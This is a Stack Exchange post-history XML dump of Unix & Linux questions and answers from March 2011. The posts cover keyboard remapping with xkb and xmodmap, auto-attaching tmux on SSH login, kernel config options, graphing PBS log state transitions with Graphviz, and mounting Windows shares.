  <row Id="23623" PostHistoryTypeId="5" PostId="9635" RevisionGUID="3ef6105b-402b-430a-9ea1-dd219e59940d" CreationDate="2011-03-22T11:49:47.540" UserId="5884" Comment="added 254 characters in body" Text="#Aim#&#xD;&#xA;&#xD;&#xA;I would like to assign Alt to CapsLock-key, and Meta to Alt-key. But in such way, Alt-key would no longer be recognized as Alt, and CapsLock-key would no longer be recognized as CapsLock.&#xD;&#xA;&#xD;&#xA;openSUSE 11.4&#xD;&#xA;&#xD;&#xA;#Previously#&#xD;&#xA;&#xD;&#xA;openSUSE 11.1 -- since I am the only user of my computer I &quot;simply&quot; edited the /usr/share/X11/xkb/keycodes/xfree86 file and it worked without problem. Keys were wired to their symbols at the lowest level.&#xD;&#xA;&#xD;&#xA;#Problems#&#xD;&#xA;&#xD;&#xA;##1. xkb##&#xD;&#xA;&#xD;&#xA;I created a variant of Polish layout (pl_ext) which (for test) consists of such entries:&#xD;&#xA;&#xD;&#xA;    key &lt;CAPS&gt; { [ Alt_L ] };&#xD;&#xA;    modifier_map Mod1 { Alt_L, Alt_R };&#xD;&#xA;&#xD;&#xA;However this does simply nothing, CapsLock-key in xev is recognized (symbol) as Alt_L, but when I press CapsLock-key it behaves like CapsLock (e.g. assuming you have File in menu, Alt+F should open this menu, it does not).&#xD;&#xA;&#xD;&#xA;*Read more in edits.*&#xD;&#xA;&#xD;&#xA;**QUESTION**: how to define a layout file to set CapsLock-key as Alt, and Alt-key as Meta?&#xD;&#xA;&#xD;&#xA;##2. xfree86##&#xD;&#xA;&#xD;&#xA;But now this does not work, I guess other file table is read instead of xfree86.&#xD;&#xA;&#xD;&#xA;**QUESTION:** how to find out which keycode table file is used by system (X/Gnome)?&#xD;&#xA;&#xD;&#xA;##3. xmodmap ##&#xD;&#xA;&#xD;&#xA;*This part is solved thanks to Gilles.*&#xD;&#xA;&#xD;&#xA;Half of success here. This part works as desired:&#xD;&#xA;&#xD;&#xA;    remove Lock = Caps_Lock&#xD;&#xA;    keysym Caps_Lock = Alt_L&#xD;&#xA;&#xD;&#xA;Now, I have trully CapsLock-key which is mapped to Alt. But this:&#xD;&#xA;&#xD;&#xA;    keysym Alt_L = Meta_L&#xD;&#xA;&#xD;&#xA;does strange thing. xev shows that Alt-key is mapped to Meta, but when I press Alt+F (this should be mapped to Meta+F --&gt; doing nothing) the File menu is opened. What's more, when I press Alt+Tab, I get window-switcher (I should not -- Alt is Meta now).&#xD;&#xA;&#xD;&#xA;**QESTION**: how to &quot;delete&quot; old behavior for Alt-key?&#xD;&#xA;&#xD;&#xA;#Summary#&#xD;&#xA;&#xD;&#xA;Answering any question would (hopefully) solve my problem, however I prefer using xkb entirely because I could then pack all the files for xkb and change layout in one place. Thank you in advance for any help!&#xD;&#xA;&#xD;&#xA;#EDITS#&#xD;&#xA;&#xD;&#xA;##(1) ad. xkb##&#xD;&#xA;&#xD;&#xA;Half of success here too! Now I have such entries&#xD;&#xA;&#xD;&#xA;    key &lt;CAPS&gt; { [ Alt_L ] };&#xD;&#xA;    modifier_map Mod1 { &lt;CAPS&gt; }; // this is a difference&#xD;&#xA;&#xD;&#xA;and this works as desired. This does not:&#xD;&#xA;&#xD;&#xA;    key &lt;LALT&gt; { [ Meta_L ] } ;&#xD;&#xA;    key &lt;RALT&gt; { [ Meta_R ] } ;&#xD;&#xA;    modifier_map Mod5 { &lt;LALT&gt;,&lt;RALT&gt; };&#xD;&#xA;&#xD;&#xA;Alt-keys are recognized as Meta by xev, but I still can open the menus with Alt+F, switch windows, and I shouldn't. And on the other hand I cannot enter any national character, and I should.&#xD;&#xA;&#xD;&#xA;##(2) ad. xfree86##&#xD;&#xA;&#xD;&#xA;The best option for me -- editing keycode tables -- solved! I found the answer on Polish Ubuntu forum. Now one does not edit &quot;xfree86&quot; file but &quot;evdev&quot; file. This way you can make permanent changes which work for all layouts.&#xD;&#xA;" />
  <row Id="23624" PostHistoryTypeId="2" PostId="9882" RevisionGUID="dd1e1071-54ad-4179-b1da-284eeb5b0b82" CreationDate="2011-03-22T11:51:47.603" UserId="2180" Text="'tr' can be used for this. Try the following:&#xD;&#xA;&#xD;&#xA;    tr -cd '\11\12\15\40-\176 raw.php&#xD;&#xA;&#xD;&#xA;This deletes any characters that aren't one of the ones listed. The \NNN notation represents the character in octal, this lets us get tab, newline, carriage return in addition to the other characters." />
  <row Id="23625" PostHistoryTypeId="5" PostId="9871" RevisionGUID="301c8629-b2fe-46fe-a4cd-b8e31c140a87" CreationDate="2011-03-22T12:02:41.633" UserId="4949" Comment="Updated to add clarification" Text="You can use X11 forwarding over SSH; make sure the option &#xD;&#xA;&#xD;&#xA;`X11Forwarding yes`&#xD;&#xA;&#xD;&#xA;is enabled in `/etc/ssh/sshd_config`, and either enable X11 forwarding by hand with `ssh -X remoteserver` or add a line saying &#xD;&#xA;&#xD;&#xA;`ForwardX11 yes` &#xD;&#xA;&#xD;&#xA;to the relevant host entry in `~/.ssh/config` &#xD;&#xA;&#xD;&#xA;Of course, that requires a working X display at the local end, so if you're using windows you're going to have to install something like [XMing][1], then setup X11 forwarding in PuTTY as [this page][2] or [this article][3] demonstrates.&#xD;&#xA;&#xD;&#xA;ETA: Reading again and seeing your clarifications in the comments, [this][4] might suit your needs even better, as it will let you 'mount' SFTP folders as if they're regular network drives.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sourceforge.net/projects/xming/&#xD;&#xA;  [2]: http://www.cse.unsw.edu.au/~helpdesk/documentation/Putty.html&#xD;&#xA;  [3]: http://www.linux.com/archive/feed/118106&#xD;&#xA;  [4]: http://wiki.mediatemple.net/w/%28dv%29:FTP_and_SFTP_in_Windows_Explorer" />
  <row Id="23626" PostHistoryTypeId="2" PostId="9883" RevisionGUID="ed772303-2392-4a31-9fdc-fb93d02a04f0" CreationDate="2011-03-22T12:20:02.883" UserId="4821" Text="_I started to ask this question but answered it while I had it open. I'm going to post this question, follow it up with my solution and leave it open to other potential solutions._&#xD;&#xA;&#xD;&#xA;**`&lt;`backstory`&gt;`**&#xD;&#xA;&#xD;&#xA;I'm a tmux and vim user. I like remote vim work as I don't have to worry about Ubuntu development machines kirking out when a flash movie gives me a kernel panic. Running tmux means that open files are waiting for me after I reboot and I can carry on from where I left off. I've had problems with vim running in a tmux session when I connect like so:&#xD;&#xA;&#xD;&#xA;    ssh example.com -t 'tmux attach'&#xD;&#xA;&#xD;&#xA;UTF-8 issues crop up that don't crop up when shelling in normally and just attaching to a tmux session manually.&#xD;&#xA;&#xD;&#xA;**`&lt;`/backstory`&gt;`**&#xD;&#xA;&#xD;&#xA;So I want a reusable method of starting something on ssh login, that doesn't affect any of the other things I have configured in my `.zshrc` (or your `.bashrc` if you still use bash) that may be required for my development environment, that doesn't appear when I'm occasionally working locally on the very said machine." />
  <row Id="23627" PostHistoryTypeId="1" PostId="9883" RevisionGUID="ed772303-2392-4a31-9fdc-fb93d02a04f0" CreationDate="2011-03-22T12:20:02.883" UserId="4821" Text="How can I run a script immediately after connecting via SSH?" />
  <row Id="23628" PostHistoryTypeId="3" PostId="9883" RevisionGUID="ed772303-2392-4a31-9fdc-fb93d02a04f0" CreationDate="2011-03-22T12:20:02.883" UserId="4821" Text="ésshàévimàétmuxà" />
  <row Id="23629" PostHistoryTypeId="2" PostId="9884" RevisionGUID="ede8ee7c-8043-4e93-9c57-7037ae11851c" CreationDate="2011-03-22T12:20:44.380" UserId="4821" Text="You're going to make use of `~/.ssh/environment` and you will either need root access or a generous sysadmin to set the following flag in `sshd_config`:&#xD;&#xA;&#xD;&#xA;    PermitUserEnvironment yes&#xD;&#xA;&#xD;&#xA;Once the sysadmin has done this, and restarted sshd, you can get on with the task at hand. In `.ssh/environment` I added SSH_LOGIN=yes. You could call it anything you like as it's merely a variable that you will be checking for later on.&#xD;&#xA;&#xD;&#xA;Now open your `.zlogin` (bash: `.bash_profile` etc.) and put the following:&#xD;&#xA;&#xD;&#xA;    if [[ $SSH_LOGIN == &quot;yes&quot; ]]; then&#xD;&#xA;        while true; do&#xD;&#xA;            echo -n &quot;Do you want to attach to a tmux session? [y/n]&quot;&#xD;&#xA;            read yn&#xD;&#xA;            case $yn in&#xD;&#xA;                [Yy]* ) export SSH_LOGIN=&quot;no&quot;; tmux attach; break;;&#xD;&#xA;                [Nn]* ) exit;;&#xD;&#xA;                * ) echo &quot;Please answer y/n&quot;;;&#xD;&#xA;            esac&#xD;&#xA;        done&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;_Note that I've used the `.zlogin` file but you could use your `.zshrc` file but I like to keep my dotfiles tidy and it separates it so I can use it on other machines._ Replace the question with something appropriate for yourself and replace `tmux attach` with whatever you wish to run at that point.&#xD;&#xA;&#xD;&#xA;Notice how the script sets SSH_LOGIN to &quot;no&quot; before anything else. This is to prevent any future shell opened via a screen manager (tmux/GNU screen) from running through this script again.&#xD;&#xA;" />
  <row Id="23630" PostHistoryTypeId="5" PostId="9884" RevisionGUID="0756abc3-3712-4323-8a1a-adf356eb644d" CreationDate="2011-03-22T12:40:41.783" UserId="4821" Comment="Added link to stackoverflow.com article" Text="You're going to make use of `~/.ssh/environment` and you will either need root access or a generous sysadmin to set the following flag in `sshd_config`:&#xD;&#xA;&#xD;&#xA;    PermitUserEnvironment yes&#xD;&#xA;&#xD;&#xA;Once the sysadmin has done this, and restarted sshd, you can get on with the task at hand. In `.ssh/environment` I added SSH_LOGIN=yes. You could call it anything you like as it's merely a variable that you will be checking for later on.&#xD;&#xA;&#xD;&#xA;Now open your `.zlogin` (bash: `.bash_profile` etc.) and put the following:&#xD;&#xA;&#xD;&#xA;    if [[ $SSH_LOGIN == &quot;yes&quot; ]]; then&#xD;&#xA;        while true; do&#xD;&#xA;            echo -n &quot;Do you want to attach to a tmux session? [y/n]&quot;&#xD;&#xA;            read yn&#xD;&#xA;            case $yn in&#xD;&#xA;                [Yy]* ) export SSH_LOGIN=&quot;no&quot;; tmux attach; break;;&#xD;&#xA;                [Nn]* ) exit;;&#xD;&#xA;                * ) echo &quot;Please answer y/n&quot;;;&#xD;&#xA;            esac&#xD;&#xA;        done&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;Inspiration taken from [How do I prompt for input in a Linux shell script?](http://stackoverflow.com/questions/226703/how-do-i-prompt-for-input-in-a-linux-shell-script)&#xD;&#xA;&#xD;&#xA;_Note that I've used the `.zlogin` file but you could use your `.zshrc` file but I like to keep my dotfiles tidy and it separates it so I can use it on other machines._ Replace the question with something appropriate for yourself and replace `tmux attach` with whatever you wish to run at that point.&#xD;&#xA;&#xD;&#xA;Notice how the script sets SSH_LOGIN to &quot;no&quot; before anything else. This is to prevent any future shell opened via a screen manager (tmux/GNU screen) from running through this script again.&#xD;&#xA;" />
  <row Id="23631" PostHistoryTypeId="2" PostId="9885" RevisionGUID="69e174f1-1478-45b5-bb09-8a57943347f9" CreationDate="2011-03-22T12:47:33.367" UserId="5589" Text="I'm trying to compile a Linux Kernel to run light and paravirtualized on XenServer 5.6 fp1.&#xD;&#xA;&#xD;&#xA;I'm using the guide given here: http://www.mad-hacking.net/documentation/linux/deployment/xen/pv-guest-basics.xml&#xD;&#xA;&#xD;&#xA;But I'm stumped when I reached the option `CONFIG_COMPAT_VDSO`.&#xD;&#xA;&#xD;&#xA;Where is it exactly in `make menuconfig`? The site indicated that the options is in the *Processor type and features* group, but I don't see it:&#xD;&#xA;&#xD;&#xA;    [*] Tickless System (Dynamic Ticks)                                  &#xD;&#xA;    [*] High Resolution Timer Support                                    &#xD;&#xA;    [*] Symmetric multi-processing support                               &#xD;&#xA;    [ ] Support for extended (non-PC) x86 platforms                      &#xD;&#xA;    [ ] Single-depth WCHAN output                                        &#xD;&#xA;    [*] Paravirtualized guest support  ---&gt;                              &#xD;&#xA;    [*] Disable Bootmem code (NEW)                                       &#xD;&#xA;    [ ] Memtest (NEW)                                                    &#xD;&#xA;        Processor family (Core 2/newer Xeon)  ---&gt;                       &#xD;&#xA;    (2) Maximum number of CPUs                                           &#xD;&#xA;    [ ] SMT (Hyperthreading) scheduler support                           &#xD;&#xA;    [ ] Multi-core scheduler support                                     &#xD;&#xA;        Preemption Model (No Forced Preemption (Server))  ---&gt;           &#xD;&#xA;    [ ] Reroute for broken boot IRQs                                     &#xD;&#xA;    [ ] Machine Check / overheating reporting                            &#xD;&#xA;    &lt; &gt; Dell laptop support (NEW)                                        &#xD;&#xA;    &lt; &gt; /dev/cpu/microcode - microcode support                           &#xD;&#xA;    &lt;M&gt; /dev/cpu/*/msr - Model-specific register support                 &#xD;&#xA;    &lt;M&gt; /dev/cpu/*/cpuid - CPU information support                       &#xD;&#xA;    [ ] Numa Memory Allocation and Scheduler Support                     &#xD;&#xA;        Memory model (Sparse Memory)  ---&gt;                               &#xD;&#xA;    [*] Sparse Memory virtual memmap (NEW)                               &#xD;&#xA;    [*] Allow for memory hot-add                                         &#xD;&#xA;    [*]   Allow for memory hot remove                                    &#xD;&#xA;    [ ] Allow for memory compaction                                      &#xD;&#xA;    [*] Page migration                                                   &#xD;&#xA;    [*] Enable KSM for page merging                                      &#xD;&#xA;    (65536) Low address space to protect from user allocation (NEW)      &#xD;&#xA;    [ ] Check for low memory corruption                                  &#xD;&#xA;    [ ] Reserve low 64K of RAM on AMI/Phoenix BIOSen                     &#xD;&#xA;    -*- MTRR (Memory Type Range Register) support                        &#xD;&#xA;    [ ]   MTRR cleanup support                                           &#xD;&#xA;    [*] Enable seccomp to safely compute untrusted bytecode (NEW)        &#xD;&#xA;    [*] Enable -fstack-protector buffer overflow detection (EXPERIMENTAL)&#xD;&#xA;        Timer frequency (100 HZ)  ---&gt;                                   &#xD;&#xA;    [ ] kexec system call                                                &#xD;&#xA;    [ ] kernel crash dumps                                               &#xD;&#xA;    [*] Build a relocatable kernel (NEW)                                 &#xD;&#xA;    -*- Support for hot-pluggable CPUs                                   &#xD;&#xA;    [ ] Built-in kernel command line (NEW) &#xD;&#xA;&#xD;&#xA;FYI, I'm configuring **Gentoo's Kernel v2.6.36-hardened-r9**" />
  <row Id="23632" PostHistoryTypeId="1" PostId="9885" RevisionGUID="69e174f1-1478-45b5-bb09-8a57943347f9" CreationDate="2011-03-22T12:47:33.367" UserId="5589" Text="Where is CONFIG_COMPAT_VDSO in make menuconfig?" />
  <row Id="23633" PostHistoryTypeId="3" PostId="9885" RevisionGUID="69e174f1-1478-45b5-bb09-8a57943347f9" CreationDate="2011-03-22T12:47:33.367" UserId="5589" Text="élinuxàékernelàéconfigurationàégentooà" />
  <row Id="23634" PostHistoryTypeId="2" PostId="9886" RevisionGUID="091ac242-c0ab-4c07-90b4-c1d097b90b68" CreationDate="2011-03-22T12:55:37.027" UserId="5664" Text="There isn't any yet :( that's the correct answer. But Thank you!" />
  <row Id="23635" PostHistoryTypeId="2" PostId="9887" RevisionGUID="aa89b9fb-0b34-40a1-b3f7-b3a0b545b719" CreationDate="2011-03-22T13:07:30.427" UserId="5664" Text="If i ssh to my remote OpenWrt router [&quot;via DynDNS&quot;]&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;1: &lt;br&gt;&#xD;&#xA;&#xD;&#xA;	@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @&#xD;&#xA;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;2: &lt;br&gt;&#xD;&#xA;ok, i delete the old line in known_hosts, add the new one&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;3: &lt;br&gt;&#xD;&#xA;but passwd failed :\ i copy+paste the good password&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;4: &lt;br&gt;&#xD;&#xA;but: if someone reboots the remote router it says&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @&#xD;&#xA;&#xD;&#xA;ok, again, i delete the line in known_hosts, add the new one [the old one??]&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;and presto! i can log in!&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Q: why?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;~A: dyndns update fails?? and i'm trying to log in to the wrong IP? and if the router is rebooted, the dyndns ip will be updated, so that the ip is correct, and i can log in? that's why it says host identification failed?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;It happened for the 3rd time..i don't know what's exactly is going on.. :\" />
  <row Id="23636" PostHistoryTypeId="1" PostId="9887" RevisionGUID="aa89b9fb-0b34-40a1-b3f7-b3a0b545b719" CreationDate="2011-03-22T13:07:30.427" UserId="5664" Text="OpenWrt dropbear bug?" />
  <row Id="23637" PostHistoryTypeId="3" PostId="9887" RevisionGUID="aa89b9fb-0b34-40a1-b3f7-b3a0b545b719" CreationDate="2011-03-22T13:07:30.427" UserId="5664" Text="élinuxàéopenwrtà" />
  <row Id="23638" PostHistoryTypeId="2" PostId="9888" RevisionGUID="b8459c5c-3162-4c2d-9ea9-6914f794509f" CreationDate="2011-03-22T13:16:05.143" UserId="4194" Text="Myself, I add this to my .bash_profile files:&#xD;&#xA;&#xD;&#xA;    if [ -z &quot;$STY&quot; ]; then&#xD;&#xA;        reattach() { exec screen -A -D -RR ${1:+&quot;$@&quot;} ; }&#xD;&#xA;    fi&#xD;&#xA;    if [ -t 0 ]; then&#xD;&#xA;        screen -wipe&#xD;&#xA;        echo 'starting screen... (type Ctrl-C to abort)'&#xD;&#xA;        sleep 5 &amp;&amp; reattach&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;This gives me some time to abort reattaching to or creating a screen session. It won't work on 'ssh system command' formats (which does not call ~/.*profile). A shell function is set up to reattach if I abort." />
  <row Id="23639" PostHistoryTypeId="5" PostId="9884" RevisionGUID="c9a0cb57-b5a3-4119-94c6-83876c1fb438" CreationDate="2011-03-22T13:22:40.483" UserId="4821" Comment="Changed script to accord with Eli Hardy's comment" Text="_I previously advised setting `PermitUserEnvironment yes` and adding an environment variable in your ~/.ssh/environment until [Eli Heady](http://unix.stackexchange.com/users/1323/eli-heady) chipped in with a better suggestion in the comments below._&#xD;&#xA;&#xD;&#xA;Open your `.zlogin` (bash: `.bash_profile` etc.) and put the following:&#xD;&#xA;&#xD;&#xA;    if [[ $SSH_CONNECTION != &quot;yes&quot; &amp;&amp; &quot;$MY_SSH_CONNECTION != &quot;yes&quot; ]]; then&#xD;&#xA;        while true; do&#xD;&#xA;            echo -n &quot;Do you want to attach to a tmux session? [y/n]&quot;&#xD;&#xA;            read yn&#xD;&#xA;            case $yn in&#xD;&#xA;                [Yy]* ) MY_SSH_CONNECTION=&quot;yes&quot; tmux attach; break;;&#xD;&#xA;                [Nn]* ) exit;;&#xD;&#xA;                * ) echo &quot;Please answer y/n&quot;;;&#xD;&#xA;            esac&#xD;&#xA;        done&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;Inspiration taken from [How do I prompt for input in a Linux shell script?](http://stackoverflow.com/questions/226703/how-do-i-prompt-for-input-in-a-linux-shell-script)&#xD;&#xA;&#xD;&#xA;_Note that I've used the `.zlogin` file but you could use your `.zshrc` file but I like to keep my dotfiles tidy and it separates it so I can use it on other machines._&#xD;&#xA;&#xD;&#xA;Replace the question with something appropriate for yourself and replace `MY_SSH_CONNECTION=&quot;yes&quot; tmux attach` with whatever you wish to run at that point.&#xD;&#xA;&#xD;&#xA;Note how the script sets `MY_SSH_CONNECTION=&quot;yes&quot;` before `tmux attach` to pass it through to tmux as it also will be opening a shell that will access the very same script above and will prevent any recursion.&#xD;&#xA;" />
  <row Id="23640" PostHistoryTypeId="5" PostId="9884" RevisionGUID="22c5b94a-7138-4525-95bb-db0e4ec0878e" CreationDate="2011-03-22T13:36:08.633" UserId="4821" Comment="added 1 characters in body" Text="_I previously advised setting `PermitUserEnvironment yes` and adding an environment variable in your ~/.ssh/environment until [Eli Heady](http://unix.stackexchange.com/users/1323/eli-heady) chipped in with a better suggestion in the comments below._&#xD;&#xA;&#xD;&#xA;Open your `.zlogin` (bash: `.bash_profile` etc.) and put the following:&#xD;&#xA;&#xD;&#xA;    if [[ $SSH_CONNECTION != &quot;yes&quot; &amp;&amp; &quot;$MY_SSH_CONNECTION != &quot;yes&quot; ]]; then&#xD;&#xA;        while true; do&#xD;&#xA;            echo -n &quot;Do you want to attach to a tmux session? [y/n]&quot;&#xD;&#xA;            read yn&#xD;&#xA;            case $yn in&#xD;&#xA;                [Yy]* ) MY_SSH_CONNECTION=&quot;yes&quot; tmux attach; break;;&#xD;&#xA;                [Nn]* ) break;;&#xD;&#xA;                * ) echo &quot;Please answer y/n&quot;;;&#xD;&#xA;            esac&#xD;&#xA;        done&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;Inspiration taken from [How do I prompt for input in a Linux shell script?](http://stackoverflow.com/questions/226703/how-do-i-prompt-for-input-in-a-linux-shell-script)&#xD;&#xA;&#xD;&#xA;_Note that I've used the `.zlogin` file but you could use your `.zshrc` file but I like to keep my dotfiles tidy and it separates it so I can use it on other machines._&#xD;&#xA;&#xD;&#xA;Replace the question with something appropriate for yourself and replace `MY_SSH_CONNECTION=&quot;yes&quot; tmux attach` with whatever you wish to run at that point.&#xD;&#xA;&#xD;&#xA;Note how the script sets `MY_SSH_CONNECTION=&quot;yes&quot;` before `tmux attach` to pass it through to tmux as it also will be opening a shell that will access the very same script above and will prevent any recursion.&#xD;&#xA;" />
  <row Id="23643" PostHistoryTypeId="2" PostId="9889" RevisionGUID="514fb025-6ad3-4746-93ce-831ec3e505da" CreationDate="2011-03-22T14:01:03.607" UserId="2671" Text="I have logs in the following format:&#xD;&#xA;&#xD;&#xA;    03/22/2011 14:45:06;0001;PBS_Server;Svr;PBS_Server;svr_setjobstate: setting job 35707.arien.ics.muni.cz state from EXITING-RETURNSTD to EXITING-STAGEOUT (5-51)&#xD;&#xA;    03/22/2011 14:45:06;0001;PBS_Server;Svr;PBS_Server;svr_setjobstate: setting job 35709.arien.ics.muni.cz state from RUNNING-PRERUN to RUNNING-RUNNING (4-42)&#xD;&#xA;    03/22/2011 14:45:07;0001;PBS_Server;Svr;PBS_Server;svr_setjobstate: setting job 35708.arien.ics.muni.cz state from RUNNING-RUNNING to EXITING-EXITING (5-50)&#xD;&#xA;    03/22/2011 14:45:07;0001;PBS_Server;Svr;PBS_Server;svr_setjobstate: setting job 35708.arien.ics.muni.cz state from EXITING-EXITING to EXITING-RETURNSTD (5-70)&#xD;&#xA;    03/22/2011 14:45:07;0001;PBS_Server;Svr;PBS_Server;svr_setjobstate: setting job 35708.arien.ics.muni.cz state from EXITING-RETURNSTD to EXITING-STAGEOUT (5-51)&#xD;&#xA;    03/22/2011 14:45:08;0001;PBS_Server;Svr;PBS_Server;svr_setjobstate: setting job 35709.arien.ics.muni.cz state from RUNNING-RUNNING to EXITING-EXITING (5-50)&#xD;&#xA;&#xD;&#xA;Now, I would like to graphically reconstruct the state machine, but I'm kind of hesitating on how to approach this problem. Cutting out the transitions shouldn't be a problem, but I'm not sure how to reconstruct a graphical representation from them." />
  <row Id="23644" PostHistoryTypeId="1" PostId="9889" RevisionGUID="514fb025-6ad3-4746-93ce-831ec3e505da" CreationDate="2011-03-22T14:01:03.607" UserId="2671" Text="Drawing a state machine from logs" />
  <row Id="23645" PostHistoryTypeId="3" PostId="9889" RevisionGUID="514fb025-6ad3-4746-93ce-831ec3e505da" CreationDate="2011-03-22T14:01:03.607" UserId="2671" Text="écommandölineàélogsàégraphicsà" />
  <row Id="23650" PostHistoryTypeId="25" PostId="9883" RevisionGUID="95ee4bb1-c9d9-4bac-a133-46052939bd82" CreationDate="2011-03-22T14:31:31.100" Comment="http://twitter.com/#!/StackUnix/status/50202951838466048" />
  <row Id="23651" PostHistoryTypeId="2" PostId="9890" RevisionGUID="3cdec0c4-100a-4490-900a-ca7974df07a7" CreationDate="2011-03-22T14:31:50.367" UserId="73" Text="I'm not positive I know what you mean, but are you looking for something like this?&#xD;&#xA;&#xD;&#xA;![Dot output](http://so.mrozekma.com/unix-graphviz-example.png)&#xD;&#xA;&#xD;&#xA;I used [Graphviz](http://www.graphviz.org/), which takes text input files describing transitions, and figures out the graph automatically. Here's the exact command:&#xD;&#xA;&#xD;&#xA;    $ sed 's/-/_/g' input | gawk '&#xD;&#xA;        BEGIN {print &quot;digraph g {&quot;}&#xD;&#xA;        END {print &quot;}&quot;}&#xD;&#xA;        match($0, /from ([^ ]*) to ([^ ]*) \((.*)\)$/, groups) {&#xD;&#xA;            print groups[1] &quot; -&gt; &quot; groups[2] &quot; [label = \&quot;&quot; groups[3] &quot;\&quot;];&quot;&#xD;&#xA;        }' &gt; output.dot&#xD;&#xA;    $ dot -Tpng output.dot &gt; output.png&#xD;&#xA;&#xD;&#xA;### Explanation&#xD;&#xA;&#xD;&#xA;* `sed 's/-/_/g' input` -- Dot doesn't like hyphens in the node name, so I converted them to underscores&#xD;&#xA;* `gawk` -- Standard awk doesn't have the `match` function that gawk has; you can do the string manipulation any way you like though (e.g. perl is another good choice)&#xD;&#xA;    * `BEGIN {print &quot;digraph g {&quot;}` -- Dot specifications start with this line (the name of the graph, &quot;g&quot;, doesn't really matter)&#xD;&#xA;    * `END {print &quot;}&quot;}` -- Ends the `digraph g` started in the BEGIN block&#xD;&#xA;    * `match($0, /from ([^ ]*) to ([^ ]*) \((.*)\)$/, groups)` -- A regular expression that matches your log file format; it stores the results in the `groups` variable&#xD;&#xA;    * `print groups[1] &quot; -&gt; &quot; groups[2] &quot; [label = \&quot;&quot; groups[3] &quot;\&quot;];&quot;` -- Outputs a dot-compatible line (for example, `A -&gt; B [label = &quot;C&quot;];` will show two nodes, A and B, with a transition between them labeled C)&#xD;&#xA;* `dot -Tpng output.dot &gt; output.png` -- Tell graphviz to convert the dot file to a PNG&#xD;&#xA;&#xD;&#xA;### Resulting dot file&#xD;&#xA;&#xD;&#xA;    digraph g {&#xD;&#xA;    EXITING_RETURNSTD -&gt; EXITING_STAGEOUT [label = &quot;5_51&quot;];&#xD;&#xA;    RUNNING_PRERUN -&gt; RUNNING_RUNNING [label = &quot;4_42&quot;];&#xD;&#xA;    RUNNING_RUNNING -&gt; EXITING_EXITING [label = &quot;5_50&quot;];&#xD;&#xA;    EXITING_EXITING -&gt; EXITING_RETURNSTD [label = &quot;5_70&quot;];&#xD;&#xA;    EXITING_RETURNSTD -&gt; EXITING_STAGEOUT [label = &quot;5_51&quot;];&#xD;&#xA;    RUNNING_RUNNING -&gt; EXITING_EXITING [label = &quot;5_50&quot;];&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The PNG you get when running that file through `dot` is above" />
  <row Id="23652" PostHistoryTypeId="2" PostId="9891" RevisionGUID="091c660d-0ba0-462f-bbd8-0c56c36585b4" CreationDate="2011-03-22T14:53:52.387" UserId="5286" Text="At work, I spend a lot of time manipulating files on a networked computer that's running SME Server (but that's set up for Windows filesharing, if that somehow makes a difference). I have been wondering how to cd to the network drive's root from bash so that I don't have to keep calling up Finder / nautilus every time I want to copy a file. Any suggestions? In Ubuntu, I connect to the drive as a Windows share via Places - Connect to Server. In OSX, well, I logged in to the drive once, and it just shows up in Finder." />
  <row Id="23653" PostHistoryTypeId="1" PostId="9891" RevisionGUID="091c660d-0ba0-462f-bbd8-0c56c36585b4" CreationDate="2011-03-22T14:53:52.387" UserId="5286" Text="bash: How to cd to a network location?" />
  <row Id="23654" PostHistoryTypeId="3" PostId="9891" RevisionGUID="091c660d-0ba0-462f-bbd8-0c56c36585b4" CreationDate="2011-03-22T14:53:52.387" UserId="5286" Text="ébashàéubuntuàénetworkingàéosxà" />
  <row Id="23655" PostHistoryTypeId="5" PostId="9891" RevisionGUID="a7ba68dc-aef7-4732-afd6-2ec0b657e367" CreationDate="2011-03-22T15:04:01.047" UserId="2511" Comment="added 6 characters in body; edited tags; edited title" Text="At work, I spend a lot of time manipulating files on a networked computer that's running SME Server (but that's set up for Windows filesharing, if that somehow makes a difference).&#xD;&#xA;&#xD;&#xA;I have been wondering how to cd to the network drive's root from bash so that I don't have to keep calling up Finder / nautilus every time I want to copy a file. Any suggestions?&#xD;&#xA;&#xD;&#xA;In Ubuntu, I connect to the drive as a Windows share via Places - Connect to Server. In OSX, well, I logged in to the drive once, and it just shows up in Finder." />
  <row Id="23656" PostHistoryTypeId="4" PostId="9891" RevisionGUID="a7ba68dc-aef7-4732-afd6-2ec0b657e367" CreationDate="2011-03-22T15:04:01.047" UserId="2511" Comment="added 6 characters in body; edited tags; edited title" Text="How to cd to a Windows file share?" />
  <row Id="23657" PostHistoryTypeId="6" PostId="9891" RevisionGUID="a7ba68dc-aef7-4732-afd6-2ec0b657e367" CreationDate="2011-03-22T15:04:01.047" UserId="2511" Comment="added 6 characters in body; edited tags; edited title" Text="élinuxàéshellàésambaàéfileösharingà" />
  <row Id="23658" PostHistoryTypeId="4" PostId="9795" RevisionGUID="c9a41b63-0583-4d68-b351-ec9ad697e021" CreationDate="2011-03-22T15:15:22.783" UserId="2974" Comment="edited title" Text="Device names for logical volumes" />
  <row Id="23659" PostHistoryTypeId="2" PostId="9892" RevisionGUID="58af9860-c032-486c-81d1-940d5b20cfa4" CreationDate="2011-03-22T15:22:19.200" UserId="250" Text="An easy way is to mount the share using [SAMBA][1]. After installing samba you can mount the share as follow:&#xD;&#xA;&#xD;&#xA;    mount -t cifs -o username=user,password=secret //server.com/share /mount/point&#xD;&#xA;&#xD;&#xA;There is [a guide][2] for openSUSE that appears via Google. See `man mount.cifs` for more options.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.samba.org/&#xD;&#xA;  [2]: http://opensuse.swerdna.org/susesambacifs.html" />
